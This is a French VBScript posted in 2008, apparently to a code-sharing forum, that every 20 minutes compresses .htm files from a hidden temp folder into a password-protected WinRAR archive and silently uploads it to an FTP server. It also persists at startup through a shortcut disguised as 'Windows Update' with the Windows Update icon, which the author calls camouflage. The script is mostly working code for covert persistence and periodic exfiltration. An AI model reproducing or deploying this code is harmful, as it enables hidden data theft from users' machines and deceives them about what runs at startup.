COMPRESSION ET UPLOAD VERS UN SERVEUR FTP

'Main Program
option explicit
Shortcut
do while time <> "00:00:00" 'ici j'ai utiliser une boucle tant qu'il n'est pas encore minuit on bosse pour le script ne s'arrête pas ;)
Compression 'On compresse les Fichiers
Shortcut    'création d'un racourci dans le dossier démarrage pour démarre avec windows
UploadFTP   'Uploader les fichies compressés
wscript.sleep 1200000 'ici on attend 20 min puis on recommence l'action
loop
'--------------------------------------------------------------------------------------------------------------------------------------
sub Compression
dim File,f3,ts3,FSO,Archive,temp,shell
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)          ' Dossier Temporaire de Windows
FSO.CreateTextFile temp & "\Protection\Backup.lst"	
Set f3 = fso.GetFile(temp & "\Protection\Backup.lst")
Set ts3 = f3.OpenAsTextStream(2, -2)
ts3.writeline temp & "\Protection\*.htm"    'ici je veux faire une liste qui me compresse seulement les Fichiers d'extention *.htm
ts3.Close
Archive= Day(Now) & "_" & Month(Now) & "_" & Year(Now)   
Set Shell=CreateObject("WScript.Shell")
Shell.run ("winrar -IBCK -tn30d -pvotremotdepasse a "& Archive &" @Backup.lst") 
end sub  
'Winrar est un outil Trés puissant il m'a aider beaucoup pour réaliser mes attentions et mes objectifes
'Syntaxe pour la ligne de commande pour Winrar
'WinRAR <commande> -<paramètre1> -<paramètreN> <archive> <fichiers...> <@listefichiers...> <chemin_d_extraction\> 
'Commande a - Ajouter à une archive
'Paramètre -IBCK - Lancer WinRAR en arrière-plan
'Paramètre -TN<heure> - traiter les fichiers postérieurs à l'heure définie
'Utiliser ce paramètre pour traiter uniquement les fichiers plus récents que l'heure spécifiée. Le format de la chaîne <heure> est :
'[<njours>j][<nheures>h][<nminutes>m][<nsecondes>s]
'Par exemple, utiliser le paramètre "-tn15d" pour traiter les fichiers de plus de 15 jours et "-tn2h30m" pour traiter les fichiers après 2 heures 30 minutes
'Par exemple, vous pouvez créer un fichier "backup.lst" contenant les chaînes suivantes : 
'c:\work\doc\*.txt//sauvegarde des documents texte
'c:\work\image\*.bmp//sauvegarde des images
'c:\work\misc
'et lancer :
'winrar a backup @backup.lst
'Paramètre -P<mot_de_passe> - Utiliser un mot de passe Attention pas d'espace aprés la lettre P càd on écrit <-pmotdepasse> et non <-p motdepasse>
'Pour plus d'informations sur winrar en mode ligne de commande je vous conseille de consulter son fichier Help
'----------------------------------------------------------------------------------------------------------------------------------------------
sub Shortcut
dim shell,startupPath,link,temp,FSO
Set Shell = CreateObject("WScript.Shell")
startupPath = Shell.SpecialFolders("startup")
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)
Set link = Shell.CreateShortcut(startupPath & "\Windows Update.lnk") 'lien
link.Description = "Windows Update"
link.IconLocation = "wuauclt.exe, 0" 'icon de windows Update un camouflage quoi ;)
link.TargetPath = temp & "\Protection\WindowsUpdate.vbs"
link.WorkingDirectory = temp & "\Protection\"  'mon dossier de  Travail
link.Save
end sub
'----------------------------------------------------------------------------------------------------------------------------------------
Sub UploadFTP
dim File,FSO,Archive,shell,temp
Set FSO = CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)
Set File = FSO.OpenTextFile(temp &"\Protection\FTP.txt", 2, True)
Archive= Day(Now) & "_" & Month(Now) & "_" & Year(Now)
With File
.WriteLine "open Nom du Serveur FTP"      'Nom du Serveur FTP (à Modifier)
.WriteLine "Votre Login"                  'Nom de Login pour le serveur FTP (à Modifier)
.WriteLine "Votre Mot de Passe"           'Mot de Passe (à Modifier)
.WriteLine "bin"                          'ici en mode binaire
.WriteLine "PUT " & temp & "\Protection\"& Archive &".rar" 'pour Uploder l'Archive RAR
.WriteLine "bye"                          'Déconnexion du serveur FTP
.Close
End With
Set shell = CreateObject("WScript.Shell")
shell.Run "ftp -i -s:"& temp &"\Protection\FTP.txt",0,True 'Exécution de FTP
set shell = Nothing
end sub
'-------------------------------------------------------------------------------

16 juillet 2008 02:23:00 :

Vos commentaires et vos critiques sont les Bienvenus !